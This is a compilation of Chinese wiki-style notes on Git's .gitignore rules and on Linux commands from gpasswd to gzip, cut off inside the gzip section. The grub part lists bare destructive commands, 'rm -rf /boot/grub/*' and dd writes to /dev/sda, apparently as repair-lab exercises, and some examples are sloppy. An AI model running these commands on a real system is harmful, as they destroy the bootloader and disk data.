在 .gitignore 文件中,每一行的忽略规则的语法如下:
:1)空格不匹配任意文件,可作为分隔符,可用反斜杠转义
:2)以“#”开头的行都会被 Git 忽略。即#开头的文件标识注释,可以使用反斜杠进行转义。
:3)可以使用标准的glob模式匹配。所谓的glob模式是指shell所使用的简化了的正则表达式。
:4)以斜杠"/"开头表示目录;"/"结束的模式只匹配文件夹以及在该文件夹路径下的内容,但是不匹配该文件;"/"开始的模式匹配项目跟目录;如果一个模式不包含斜杠,则它匹配相对于当前 .gitignore 文件路径的内容,如果该模式不在 .gitignore 文件中,则相对于项目根目录。
:5)以星号"*"通配多个字符,即匹配多个任意字符;使用两个星号"**" 表示匹配任意中间目录,比如`a/**/z`可以匹配 a/z, a/b/z 或 a/b/c/z等。
:6)以问号"?"通配单个字符,即匹配一个任意字符;
:7)以方括号"[]"包含单个字符的匹配列表,即匹配任何一个列在方括号中的字符。比如[abc]表示要么匹配一个a,要么匹配一个b,要么匹配一个c;如果在方括号中使用短划线分隔两个字符,表示所有在这两个字符范围内的都可以匹配。比如[0-9]表示匹配所有0到9的数字,[a-z]表示匹配任意的小写字母)。
:8)以叹号"!"表示不忽略(跟踪)匹配到的文件或目录,即要忽略指定模式以外的文件或目录,可以在模式前加上惊叹号(!)取反。需要特别注意的是:如果文件的父目录已经被前面的规则排除掉了,那么对这个文件用"!"规则是不起作用的。也就是说"!"开头的模式表示否定,该文件将会再次被包含,如果排除了该文件的父级目录,则使用"!"也不会再次被包含。可以使用反斜杠进行转义。

需要谨记:git对于.ignore配置文件是按行从上到下进行规则匹配的,意味着如果前面的规则匹配的范围更大,则后面的规则将不会生效;

!!.gitignore忽略规则简单说明

```
#               表示此为注释,将被Git忽略
*.a             表示忽略所有 .a 结尾的文件
!lib.a          表示但lib.a除外
/TODO           表示仅仅忽略项目根目录下的 TODO 文件,不包括 subdir/TODO
build/          表示忽略 build/目录下的所有文件,过滤整个build文件夹;
doc/*.txt       表示会忽略doc/notes.txt但不包括 doc/server/arch.txt
 
bin/:           表示忽略当前路径下的bin文件夹,该文件夹下的所有内容都会被忽略,不忽略 bin 文件
/bin:           表示忽略根目录下的bin文件
/*.c:           表示忽略cat.c,不忽略 build/cat.c
debug/*.obj:    表示忽略debug/io.obj,不忽略 debug/common/io.obj和tools/debug/io.obj
**/foo:         表示忽略/foo,a/foo,a/b/foo等
a/**/b:         表示忽略a/b, a/x/b,a/x/y/b等
!/bin/run.sh    表示不忽略bin目录下的run.sh文件
*.log:          表示忽略所有 .log 文件
config.php:     表示忽略当前路径的 config.php 文件
 
/mtk/           表示过滤整个文件夹
*.zip           表示过滤所有.zip文件
/mtk/do.c       表示过滤某个具体文件

被过滤掉的文件就不会出现在git仓库中(gitlab或github)了,当然本地库中还有,只是push的时候不会上传。
 
需要注意的是,gitignore还可以指定要将哪些文件添加到版本管理中,如下:


!*.zip
!/mtk/one.txt

唯一的区别就是规则开头多了一个感叹号,Git会将满足这类规则的文件添加到版本管理中。为什么要有两种规则呢?

想象一个场景:假如我们只需要管理/mtk/目录中的one.txt文件,这个目录中的其他文件都不需要管理,那么.gitignore规则应写为::


/mtk/*
!/mtk/one.txt

假设我们只有过滤规则,而没有添加规则,那么我们就需要把/mtk/目录下除了one.txt以外的所有文件都写出来!

注意上面的/mtk/*不能写为/mtk/,否则父目录被前面的规则排除掉了,one.txt文件虽然加了!过滤规则,也不会生效!
 
----------------------------------------------------------------------------------

还有一些规则如下:

fd1/*

说明:忽略目录 fd1 下的全部内容;注意,不管是根目录下的 /fd1/ 目录,还是某个子目录 /child/fd1/ 目录,都会被忽略;
 
/fd1/*

说明:忽略根目录下的 /fd1/ 目录的全部内容;
 
/*
!.gitignore
!/fw/ 
/fw/*
!/fw/bin/
!/fw/sf/
说明:忽略全部内容,但是不忽略 .gitignore 文件、根目录下的 /fw/bin/ 和 /fw/sf/ 目录;注意要先对bin/的父目录使用!规则,使其不被排除。
```

!!温馨提示:
;如果你不慎在创建.gitignore文件之前就push了项目,那么即使你在.gitignore文件中写入新的过滤规则,这些规则也不会起作用,Git仍然会对所
有文件进行版本管理。简单来说出现这种问题的原因就是Git已经开始管理这些文件了,所以你无法再通过过滤规则过滤它们。所以大家一定要养成在项目开始就创建.gitignore文件的习惯,否则一单push,处理起来会非常麻烦。

.gitignore忽略规则常用示例

1)示例

比如你的项目是java项目,.java文件编译后会生成.class文件,这些文件多数情况下是不想被传到仓库中的文件。这时候你可以直接适用github的.gitignore文件模板。https://github.com/github/gitignore/blob/master/Java.gitignore 将这些忽略文件信息复制到你的.gitignore文件中去:

```
# Compiled class file
*.class
 
# Log file
*.log
 
# BlueJ files
*.ctxt
 
# Mobile Tools for Java (J2ME)
.mtj.tmp/
 
# Package Files #
*.jar
*.war
*.nar
*.ear
*.zip
*.tar.gz
*.rar
 
# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
hs_err_pid*
```
可以看到github为我们提供了最流行的.gitignore文件配置。保存.ignore文件后我们查看下git status,检查下是否还有我们不需要的文件会被添加到git中去:

```
$ git status
On branch master
 
Initial commit
 
Changes to be committed:
  (use "git rm --cached <file>..." to unstage)
 
        new file:   .gitignore
        new file:   HelloWorld.java
 
Untracked files:
  (use "git add <file>..." to include in what will be committed)
 
        Config.ini
```
比如我的项目目录下有一个Config.ini文件,这个是个本地配置文件我不希望上传到git中去,我们可以在gitignore文件中添加这样的配置:

```
Config.ini
```
或者你想忽略所有的.ini文件你可以这样写:

```
*.ini
```
如果有些文件已经被你忽略了,当你使用git add时是无法添加的,比如我忽略了*.class,现在我想把HelloWorld.class添加到git中去:

```
$ git add HelloWorld.class
The following paths are ignored by one of your .gitignore files:
HelloWorld.class
Use -f if you really want to add them.
```
git会提示我们这个文件已经被我们忽略了,需要加上-f参数才能强制添加到git中去:

```
$ git status
On branch master
 
Initial commit
 
Changes to be committed:
  (use "git rm --cached <file>..." to unstage)
 
        new file:   .gitignore
        new file:   HelloWorld.class
        new file:   HelloWorld.java
```
这样就能强制添加到缓存中去了。如果我们意外的将想要忽略的文件添加到缓存中去了,我们可以使用rm命令将其从中移除:

```
$ git rm HelloWorld.class --cached
rm 'HelloWorld.class'
```
如果你已经把不想上传的文件上传到了git仓库,那么你必须先从远程仓库删了它,我们可以从远程仓库直接删除然后pull代码到本地仓库这些文件就会本删除,或者从本地删除这些文件并且在.gitignore文件中添加这些你想忽略的文件,然后再push到远程仓库。

2)示例

```
下面是曾经线上使用过的一个gerrit里项目代码的.gitignore的配置(在项目中添加.gitignore过滤文件,在git push到gerrit里即可)
[wangshibo@gerrit-server hq_ios]$ cat .gitignore
#Built application files
*.apk
*.ap_
  
# Files for the Dalvik VM
*.dex
  
# Java class files
*.class
  
# Generated files
*/bin/
*/gen/
*/out/
  
# Gradle files
.gradle/
build/
*/build/
gradlew
gradlew.bat
  
# Local configuration file (sdk path, etc)
local.properties
  
# Proguard folder generated by Eclipse
proguard/
  
# Log Files
*.log
  
# Android Studio Navigation editor temp files
.navigation/
  
# Android Studio captures folder
captures/
  
# Intellij
*.iml
*/*.iml
  
# Keystore files
#*.jks
#gradle wrapper
gradle/
  
#some local files
*/.settings/
*/.DS_Store
.DS_Store
*/.idea/
.idea/
gradlew
gradlew.bat
unused.txt
```
3)示例

```
[wangshibo@gerrit-server hq_ios$ cat .gitignore
# Lines that start with '#' are comments.
# IntelliJ IDEA Project files
.idea
*.iml
*.ipr
*.iws
out
  
# Eclipse Project files
.classpath
.project
.settings/
  
bin/
gen/
local.properties
  
.DS_Store
Thumbs.db
  
*.bak
*.tem
*.temp
#.swp
*.*~
~*.*
```
;.gitignor忽略规则查看
如果你发下.gitignore写得有问题,需要找出来到底哪个规则写错了,可以用git check-ignore命令检查:

```
$ git check-ignore -v HelloWorld.class
.gitignore:1:*.class    HelloWorld.class
```
可以看到HelloWorld.class匹配到了我们的第一条*.class的忽略规则所以文件被忽略了。

简单来说,要实现过滤掉Git里不想上传的文件,如上介绍三种方法能达到这种目的,只不过适用情景不一样:

```
============第一种方法===========
针对单一工程排除文件,这种方式会让这个工程的所有修改者在克隆代码的同时,也能克隆到过滤规则,而不用自己再写一份,
这就能保证所有修改者应用的都是同一份规则,而不是张三自己有一套过滤规则,李四又使用另一套过滤规则,个人比较喜欢这个。
 
配置步骤如下:
在工程根目录下建立.gitignore文件,将要排除的文件或目录 写到.gitignore这个文件中,其中有两种写入方法:
 
a)使用命令行增加排除文件
排除以.class结尾的文件 echo "*.class" >.gitignore (>> 是在文件尾增加,> 是删除已经存在的内容再增加),之后会在当前目录下
生成一个.gitignore的文件。排除bin目录下的文件 echo "bin/" >.gitignore
 
b)最方便的办法是,用记事本打开,增加需要排除的文件或目录,一行增加一个,例如:
*.class
*.apk
bin/
gen/
.settings/
proguard/
 
 
===========第二种方法===========
全局设置排除文件,这会在全局起作用,只要是Git管理的工程,在提交时都会自动排除不在控制范围内的文件或目录。这种方法对开发者来说,
比较省事,只要一次全局配置,不用每次建立工程都要配置一遍过滤规则。但是这不保证其他的开发者在克隆你的代码后,他们那边的规则跟你
的是一样的,这就带来了代码提交过程中的各种冲突问题。
配置步骤如下:
a)像方法(1)一样,也需要建立一个.gitignore文件,把要排除的文件写进去。
b)但在这里,我们不规定一定要把.gitnore文件放到某个工程下面,而是任何地方,比如我们这里放到了Git默认的Home路径下,比如:/home/wangshibo/hqsb_ios
c)使用命令方式可以配置全局排除文件:
   # git config --global core.excludesfile ~/.gitignore
   你会发现在~/.gitconfig文件中会出现excludesfile = /home/wangshibo/hqsb_ios/.gitignore。
   说明Git把文件过滤规则应用到了Global的规则中。
 
 
===========第三种方法===========
单个工程设置排除文件,在工程目录下找到.git/info/exclude,把要排除的文件写进去:
*.class
*.apk
bin/
gen/
.settings/
proguard/
 
这种方法就不提倡了,只能针对单一工程配置,而且还不能将过滤规则同步到其他开发者,跟方法一和方法二比较起来没有一点优势。
```
;Git忽略规则(.gitignore配置)不生效原因和解决

```
.gitignore中已经标明忽略的文件目录下的文件,git push的时候还会出现在push的目录中,或者用git status查看状态,想要忽略的文件还是显示被追踪状态。
原因是因为在git忽略目录中,新建的文件在git中会有缓存,如果某些文件已经被纳入了版本管理中,就算是在.gitignore中已经声明了忽略路径也是不起作用的,
这时候我们就应该先把本地缓存删除,然后再进行git的push,这样就不会出现忽略的文件了。
 
解决方法:git清除本地缓存(改变成未track状态),然后再提交:
[root@kevin ~]# git rm -r --cached .
[root@kevin ~]# git add .
[root@kevin ~]# git commit -m 'update .gitignore'

需要特别注意的是:
1).gitignore只能忽略那些原来没有被track的文件,如果某些文件已经被纳入了版本管理中,则修改.gitignore是无效的。
2)想要.gitignore起作用,必须要在这些文件不在暂存区中才可以,.gitignore文件只是忽略没有被staged(cached)文件,
   对于已经被staged文件,加入ignore文件时一定要先从staged移除,才可以忽略。
```
;在使用.gitignore文件后如何删除远程仓库中以前上传的此类文件而保留本地文件
:在使用git和github的时候,之前没有写.gitignore文件,就上传了一些没有必要的文件,在添加了.gitignore文件后,就想删除远程仓库中的文件却想保存本地的文件。这时候不可以直接使用"git rm directory",这样会删除本地仓库的文件。可以使用"git rm -r –cached directory"来删除缓冲,然后进行"commit"和"push",这样会发现远程仓库中的不必要文件就被删除了,以后可以直接使用"git add -A"来添加修改的内容,上传的文件就会受到.gitignore文件的内容约束。

!!额外说明:git库所在的文件夹中的文件大致有4种状态

;Untracked:
:未跟踪, 此文件在文件夹中, 但并没有加入到git库, 不参与版本控制. 通过git add 状态变为Staged.
 
;Unmodify:
:文件已经入库, 未修改, 即版本库中的文件快照内容与文件夹中完全一致. 这种类型的文件有两种去处, 如果它被修改,
:而变为Modified. 如果使用git rm移出版本库, 则成为Untracked文件
 
;Modified:
:文件已修改, 仅仅是修改, 并没有进行其他的操作. 这个文件也有两个去处, 通过git add可进入暂存staged状态,
:使用git checkout 则丢弃修改过, 返回到unmodify状态, 这个git checkout即从库中取出文件, 覆盖当前修改
 
;Staged:
:暂存状态. 执行git commit则将修改同步到库中, 这时库中的文件和本地文件又变为一致, 文件为Unmodify状态.
:执行git reset HEAD filename取消暂存, 文件状态为Modified
 
;Git 状态 untracked 和 not staged的区别
:1)untrack     表示是新文件,没有被add过,是为跟踪的意思。
:2)not staged  表示add过的文件,即跟踪文件,再次修改没有add,就是没有暂存的意思

* INSTALL<pre>

```bash
pip install glance
```
</pre>
* `[[gpasswd]] [OPTION] GROUP`
    ** -a user 将user 添加至指定组中
    ** -d user 从指定组中移除用户user
    ** -A user1,user2,... 设置有管理权限的用户列表
!!简介
:<div>
gpm
===

提供文字模式下的滑鼠事件处理

</div>

!! 补充说明

:<div>


"gpm命令" 是Linux的虚拟控制台下的鼠标服务器,用于在虚拟控制台下实现鼠标复制和粘贴文本的功能。

</div>

!! 语法  

:<div>


```
gpm(选项)
```

</div>

!! 选项  

:<div>


```
-a:设置加速值;
-b:设置波特率;
-B:设置鼠标按键次序;
-m:指定鼠标设备文件;
-t:设置鼠标类型。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
*简介
:<pre>
grep(global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。
</pre>
*选项
:<pre>
-a 不要忽略二进制数据。
-A<显示列数> 除了显示符合范本样式的那一行之外,并显示该行之后的内容。
-b 在显示符合范本样式的那一行之外,并显示该行之前的内容。
-c 计算符合范本样式的列数。
-C<显示列数>或-<显示列数>  除了显示符合范本样式的那一列之外,并显示该列之前后的内容。
-d<进行动作> 当指定要查找的是目录而非文件时,必须使用这项参数,否则grep命令将回报信息并停止动作。
-e<范本样式> 指定字符串作为查找文件内容的范本样式。
-E 将范本样式为延伸的普通表示法来使用,意味着使用能使用扩展正则表达式。
-f<范本文件> 指定范本文件,其内容有一个或多个范本样式,让grep查找符合范本条件的文件内容,格式为每一列的范本样式。
-F 将范本样式视为固定字符串的列表。
-G 将范本样式视为普通的表示法来使用。
-h 在显示符合范本样式的那一列之前,不标示该列所属的文件名称。
-H 在显示符合范本样式的那一列之前,标示该列的文件名称。
-i 忽略字符大小写的差别。
-l 列出文件内容符合指定的范本样式的文件名称。
-L 列出文件内容不符合指定的范本样式的文件名称。
-n 在显示符合范本样式的那一列之前,标示出该列的编号。
-q 不显示任何信息。
-R/-r 此参数的效果和指定“-d recurse”参数相同。
-s 不显示错误信息。
-v 反转查找。
-w 只显示全字符合的列。
-x 只显示全列符合的列。
-y 此参数效果跟“-i”相同。
-o 只输出文件中匹配到的部分。
</pre>

* 常见用法
:<pre>

* 集合操作
:<div>

```bash
# 交集
grep -f /path/f1 /path/f2
# 差集
grep -vf /path/f1 /path/f2
```
</div>

* 或操作
:<pre>

```bash
grep "^S\|^M"           /proc/meminfo
egrep "^S|^M"          /proc/meminfo
grep -e "^M" -e "^S" /proc/meminfo
```
</pre>

* 反向输出

:<pre>

```bash
grep -v "^S\|^M"           /proc/meminfo
```
</pre>



* 标记匹配颜色 --color=auto 
:<pre>

```bash
grep  --color=auto -v "^S\|^M"           /proc/meminfo
```
</pre>

*使用正则表达式 -E 选项:
:<pre>

```bash
grep  -E "^S|^M"           /proc/meminfo
```
</pre>

* 只输出文件中匹配到的部分 -o 选项:
:<pre>

```bash
grep  -o "^S|^M"           /proc/meminfo
```
</pre>

*统计文件或者文本中包含匹配字符串的行数 -c 选项:
:<pre>

```bash
grep  -c "^S|^M"           /proc/meminfo
```
</pre>

*输出匹配行号:
:<pre>

```bash
grep  -n "^S|^M"           /proc/meminfo
```
</pre>

* 打印样式匹配所位于的字符或字节偏移
:<pre>

```bash
echo gun is not unix | grep -b -o "not"
#一行中字符串的字符便宜是从该行的第一个字符开始计算,起始值为0。选项 -b -o 一般总是配合使用。
```
</pre>
*搜索多个文件并查找匹配文本在哪些文件中
:<pre>

```bash
grep -l "text" file1 file2 file3
```
</pre>

* 忽略匹配样式中的字符大小写
:<pre>

```bash
grep  -i "^S\|^M"           /proc/meminfo
```
</pre>

* 在grep搜索结果中包括或者排除指定文件
:<pre>

```bash
#只在目录中所有的.php和.html文件中递归搜索字符"main()"
grep "main()" . -r --include *.{php,html}

#在搜索结果中排除所有README文件
grep "main()" . -r --exclude "README"

#在搜索结果中排除filelist文件列表里的文件
grep "main()" . -r --exclude-from filelist
```
</pre>

* 使用0值字节后缀的grep与xargs
:<pre>

```bash
#测试文件:
echo "aaa" > file1
echo "bbb" > file2
echo "aaa" > file3

grep "aaa" file* -lZ | xargs -0 rm

#执行后会删除file1和file3,grep输出用-Z选项来指定以0值字节作为终结符文件名(\0),xargs -0 读取输入并用0值字节终结符分隔文件名,然后删除匹配文件,-Z通常和-l结合使用。
```
</pre>

* grep静默输出
:<pre>

```bash
grep -q "test" filename

#不会输出任何信息,如果命令运行成功返回0,失败则返回非0值。一般用于条件测试。
```
</pre>

* 打印出匹配文本之前或者之后的行
:<pre>

```bash
#显示匹配某个结果之后的3行,使用 -A 选项:
seq 10 | grep "5" -A 3

#显示匹配某个结果之前的3行,使用 -B 选项:
seq 10 | grep "5" -B 3

#显示匹配某个结果的前三行和后三行,使用 -C 选项:
seq 10 | grep "5" -C 3

#如果匹配结果有多个,会用“--”作为各匹配结果之间的分隔符:
echo -e "a\nb\nc\na\nb\nc" | grep a -A 1

</pre>

</pre>
* `groupadd [OPTION]... group_name`
            ** -g GID: 指明GID 号;[GID_MIN, GID_MAX]
            ** -r: 创建系统组
            ** CentOS 6: ID<500
            ** CentOS 7: ID<1000
*NAME<pre>
       groupdel - delete a group

</pre>
*SYNOPSIS<pre>
       groupdel [options] GROUP

</pre>
*DESCRIPTION<pre>
       The groupdel command modifies the system account files, deleting all entries that refer to GROUP. The named group must exist.

</pre>
*OPTIONS<pre>
       The options which apply to the groupdel command are:

       -h, --help
           Display help message and exit.

       -R, --root CHROOT_DIR
           Apply changes in the CHROOT_DIR directory and use the configuration files from the CHROOT_DIR directory.

</pre>
*CAVEATS<pre>
       You may not remove the primary group of any existing user. You must remove the user before you remove the group.

       You should manually check all file systems to ensure that no files remain owned by this group.

</pre>
*CONFIGURATION<pre>
       The following configuration variables in /etc/login.defs change the behavior of this tool:

       MAX_MEMBERS_PER_GROUP (number)
           Maximum members per group entry. When the maximum is reached, a new group entry (line) is started in /etc/group (with the same name, same password, and same GID).

           The default value is 0, meaning that there are no limits in the number of members in a group.

           This feature (split group) permits to limit the length of lines in the group file. This is useful to make sure that lines for NIS groups are not larger than 1024 characters.

           If you need to enforce such limit, you can use 25.

           Note: split groups may not be supported by all tools (even in the Shadow toolsuite). You should not use this variable unless you really need it.

</pre>
*FILES<pre>
       /etc/group
           Group account information.

       /etc/gshadow
           Secure group account information.

</pre>
*EXIT VALUES<pre>
       The groupdel command exits with the following values:

       0
           success

       2
           invalid command syntax

       6
           specified group doesn't exist

       8
           can't remove user's primary group

       10
           can't update group file

</pre>
*SEE ALSO<pre>
       chfn(1), chsh(1), passwd(1), gpasswd(8), groupadd(8), groupmod(8), useradd(8), userdel(8), usermod(8).
</pre>
* `groupmems [options] [action]`
    ** options: :
        *** -g, --group groupname 组 更改为指定组 ( 只有root)
        *** Actions:
        *** -a, --add username 指定用户加入组
        *** -d, --delete username 从组中删除用户
        *** -p, --purge 从组中清除所有成员
        *** -l, --list 显示组成员列表


* 示例
:<div>

```bash
#从指定组删除用户
groupmems -g ${group_name} -d ${user_name}
#给用户加组
groupmems -g ${group_name} -a ${user_name}
#清空组
groupmems  -g ${group_name} -p 
#列出组成员
groupmems  -g ${group_name} -l

```
</div>
* `groupmod [OPTION]... group`
    ** -n group_name: 新名字
    ** -g GID: 新的GID
<pre>
Usage: 

` groups [OPTION]... [USERNAME]...`


Print group memberships for each USERNAME or, if no USERNAME is specified, for
the current process (which may differ if the groups database has changed).


      --help     display this help and exit
      --version  output version information and exit

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'groups invocation'
</pre>
!!简介
:<div>
grpck
===

用于验证组文件的完整性

</div>

!! 补充说明

:<div>


"grpck命令" 用于验证组文件的完整性,在验证之前,需要先锁定(lock)组文件`/etc/group`和`/etc/shadow`。

grpck命令检查数据是否正确存放,每条记录是否都包含足够的信息,是否有一个唯一的组名,是否包含正确的用户,是否正确设置了组的管理员等。grpck检查发现错误以后,在命令行提示用户是否删除错误的记录。如果用户没有明确回答删除记录,grpck终止运行。

</div>

!! 语法  

:<div>


```
grpck(选项)
```

</div>

!! 选项  

:<div>


```
-r:只读模式;
-s:排序组id。
```

</div>

!! 实例  

:<div>


对组账号和影子文件进行验证:

```
grpck   //必须以管理员身份运行
grpck /etc/group /etc/gshadow   //后面两句一样,如果没有输出信息,则表示没有错误。
```

测试错误的实例:

```
"echo check_user:x: >> /etc/group    //添加一行错误的格式数据
cat /etc/group | grep check_user"
check_user:x:  //这儿GID字段为空,是错误的。

 "grpck /etc/group" 
invalid group file entry
delete line 'check_user:x:'? y      //提示是否删除
grpck: the files have been updated  //这时已经删除了错误的行,提示文件已经更新。

 "cat /etc/group  | grep check_user   //没有查到,已经删除了。" 
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
grpconv
===

用来开启群组的投影密码

</div>

!! 补充说明

:<div>


"grpconv命令" 用来开启群组的投影密码。Linux系统里的用户和群组密码,分别存放在`/etc`目录下的passwd和group文件中。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符。投影密码的功能可随时开启或关闭,您只需执行grpconv指令就能开启群组投影密码。

</div>

!! 语法  

:<div>


```
grpconv
```

</div>

!! 实例  

:<div>


设置cdy组密码

```
groupmod --password 123456 cdy
cat /etc/group | grep cdy
cdy:123456:1000:     //看出密码是123456
```

启动影子系统

```
grpconv
cat /etc/group |  grep cdy
cdy:x:1000:      //看出密码段已经被x替代

cat /etc/gshadow | grep cdy
cdy:123456::      //已经移到影子文件了
```

注:gshadow, shadow只有root权限才可以查看。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
grpunconv
===

用来关闭群组的投影密码

</div>

!! 补充说明

:<div>


"grpunconv命令" 用来关闭群组的投影密码。它会把密码从gshadow文件内,回存到group文件里。

</div>

!! 语法  

:<div>


```
grpunconv
```

</div>

!! 实例  

:<div>


未关闭的情况

```
cat /etc/gshadow | grep cdy
cdy:123456::
```

关闭影子密码

```
cat /etc/gshadow
cat: /etc/gshadow: 没有那个文件或目录
```

查看密码已经复制到`/etc/group`中了。

```
cat /etc/group | grep cdy
cdy:123456:1000:
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''grub''命令是多重引导程序grub的命令行shell工具。


! 01. 选项

```
--batch:打开批处理模式;
--boot-drive=<驱动器>:指定stage2的引导驱动器;
--config-file<配置文件>:指定stage2的配置文件;
--device-map=<文件>:指定设备的映射文件;
--help:显示帮助信息;
--install-partition=<分区>:指定stage2安装分区;
--no-config-file:不使用配置文件;
--no-pager:不使用内部分页器;
--preset-menu:使用预设菜单;
--probe-second-floppy:检测第二个软盘驱动器;
--read-only:只读模式。
```
!02. 实例

;01. 利用grub命令来启动损坏的Linux系统

只需要用到四个命令boot、kernel、initrd、boot。

但grub本身命令很多,比如查看文件内容的cat ,你输入help会得到。

#首先,输入“ root (hd ” ,然后按两次 TAB 键; /* 这会列出你电脑上可能的磁盘设备,硬盘为 hd0/hd1 或 sd0/sd1 等 */

#然后,选择你的安装 Linux 系统的硬盘,比如 hd0 ,输入 “ root (hd0, ” 再按两次 TAB 键; /* 这会列出你的第一块硬盘上的分区情况,你会知道哪个是 swap 交换分区, 0x82 ,哪个是 Linux 分区 0x83 */

#选择你认为可能的 /boot 目录所在的分区, 输入root (hd0, 1)回车;

#接着,输入cat /boot/vm, 按两次 TAB 键,如果出现一些 vm 开头的文件,比如 vmlinuz-2.6.15-26-386 说明这里是 /boot 所在的分区。

#删除上一次的输入,再输入cat /boot/initrd,按两次 TAB 键,如果出现一些 initrd 开头的文件,比如 initrd.img-2.6.15-26-386 说明这个 /boot 所在的分区有 initrd ,即 ramdisk 镜像;

#删除上一次的输入,再输入cat /sbin/init,按两次 TAB 键,如果出现一些 init 开头的文件,比如/sbin/init说明这个分区是/所在的分区;

#如果没有出现/sbin/init文件,说明(hd0,1)分区仅仅是/boot分区而不是/分区。重新输入root (hd0,N)命令,这里 N 是某个 Linux 分区,然后再试cat /sbin/init, 直到屏幕上出现/sbin/init,说明你找到了/分区,严格来说,应该是/sbin目录所在的分区;

;依次输入命令:

```
root (hd0,1)   /* 假设 /dev/hda2 是你的 /boot 所在的分区 */
kernel /boot/vmlinuz-2.6.15-26-386 ro dev=/dev/hda3    /* 假设 /dev/hda3 是你的 / 所在的分区 */
initrd /boot/initrd.img-2.6.15-26-386
boot
```
即可启动系统。

;这里的关键问题是如何确定系统的几个分区:/boot / /sbin
```bash
dd if=/dev/sda of=/data/mbr bs=1 count=512
```
<pre>

;01. 清空
```bash
dd if=/dev/sda of=/data/mbr bs=1 count=10000 skip=512 seek=512
```

</pre>
<pre>

;清空
```bash
rm -rf /boot/grub/*
```
</pre>
<pre>

```bash
grub-crypt 
echo password --encrypted "" >> /etc/inittab
```
</pre>

<pre>

```bash
grub-md5-crypt

echo "password --md5 "md5sum"" >> /etc/inittab
```
</pre>
! 简介
:<div>

```
gunzip命令用来解压缩文件。gunzip是个使用广泛的解压缩程序,它用于解开被gzip压缩过的文件,这些压缩文件预设最后的扩展名为.gz。事实上gunzip就是gzip的硬连接,因此不论是压缩或解压缩,都可通过gzip指令单独完成。
```
</div>


!选项
:<div>


|!参数|!描述|
|-a / --ascii|使用ASCII文字模式|
|-c / --stdout / --to-stdout|把解压后的文件输出到标准输出设备|
|-f / -force|强行解开压缩文件,不理会文件名称 / 硬连接是否存在以及该文件是否为符号连接|
|-h / --help|在线帮助|
|-l / --list|列出压缩文件的相关信息|
|-L / --license|显示版本与版权信息|
|-n / --no-name|解压缩时,若压缩文件内含有原来的文件名称及时间戳记,则将其忽略不予处理|
|-N / --name|解压缩时,若压缩文件内含有原来的文件名称及时间戳记,则将其回存到解开的文件上|
|-q / --quiet|不显示警告信息|
|-r / --recursive|递归处理,将指定目录下的所有文件及子目录一并处理|
|-S / <压缩字尾字符串> / --suffix<压缩字尾字符串>|更改压缩字尾字符串|
|-t / --test|测试压缩文件是否正确无误|
|-v / --verbose|显示指令执行过程|
|-V / --version|显示版本信息|
</div>

!实例
:<div>

```bash
#首先将/etc目录下的所有文件以及子目录进行压缩,备份压缩包etc.zip到/opt目录,
#然后对etc.zip文件进行gzip压缩,设置gzip的压缩级别为9。

[root@mylinux ~]#zip –r /opt/etc.zip /etc
[root@mylinux ~]#gzip -9v /opt/etc.zip


#查看上述etc.zip.gz文件的压缩信息。

[root@mylinux ~]#gzip -l /opt/etc.zip.gz
compressed        uncompressed ratio uncompressed_name
11938745            12767265   6.5% /opt/etc.zip


#解压上述etc.zip.gz文件到当前目录。
[root@mylinux ~]#gzip –d /opt/etc.zip.gz 
#或者执行
[root@mylinux ~]#gunzip /opt/etc.zip.gz
```

;`gzip –d`等价于`gunzip`命令。
</div>
!!简介
:<div>
gzexe
===

用来压缩可执行文件

</div>

!! 补充说明

:<div>


"gzexe命令" 用来压缩可执行文件,压缩后的文件仍然为可执行文件,在执行时进行自动解压缩。当您去执行被压缩过的执行文件时,该文件会自动解压然后继续执行,和使用一般的执行文件相同。这个命令也可以看成是gunzip命令的一个扩展。

</div>

!! 语法  

:<div>


```
gzexe(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-d:解压缩被gzexe压缩过的可执行文件。
```

</div>

!! 参数  

:<div>


文件:指定需要压缩的可执行文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
gzip
===

用来压缩文件

</div>

!! 补充说明

:<div>


"gzip命令" 用来压缩文件。gzip是个使用广泛的压缩程序,文件经它压缩过后,其名称后面会多处“.gz”扩展名。

gzip是在Linux系统中经常使用的一个对文件进行压缩和解压缩的命令,既方便又好用。gzip不仅可以用来压缩大的、较少使用的文件以节省磁盘空间,还可以和tar命令一起构成Linux操作系统中比较流行的压缩文件格式。据统计,gzip命令对文本文件有60%~70%的压缩率。减少文件大小有两个明显的好处,一是可以减少存储空间,二是通过网络传输文件时,可以减少传输的时间。

</div>

!! 语法

:<div>


```
gzip(选项)(参数)
```

</div>

!! 选项

:<div>


```
-a或——ascii:使用ASCII文字模式;
-d或--decompress或----uncompress:解开压缩文件;
-f或——force:强行压缩文件。不理会文件名称或硬连接是否存在以及该文件是否为符号连接;
-h或——help:在线帮助;
-l或——list:列出压缩文件的相关信息;
-L或——license:显示版本与版权信息;
-n或--no-name:压缩文件时,不保存原来的文件名称及时间戳记;
-N或——name:压缩文件时,保存原来的文件名称及时间戳记;
-q或——quiet:不显示警告信息;
-r或——recursive:递归处理,将指定目录下的所有文件及子目录一并处理;
-S或<压缩字尾字符串>或----suffix<压缩字尾字符串>:更改压缩字尾字符串;
-t或——test:测试压缩文件是否正确无误;
-v或——verbose:显示指令执行过程;
-V或——version:显示版本信息;
-<压缩效率>:压缩效率是一个介于1~9的数值,预设值为“6”,指定愈大的数值,压缩效率就会愈高;
--best:此参数的效果和指定“-9”参数相同;
--fast:此参数的效果和指定“-1”参数相同。
-num 用指定的数字num调整压缩的速度,-1或--fast表示最快压缩方法(低压缩比),-9或--best表示最慢压缩方法(高压缩比)。系统缺省值为6。
```

</div>

!! 参数

:<div>


文件列表:指定要压缩的文件列表。

</div>

!! 实例

:<div>


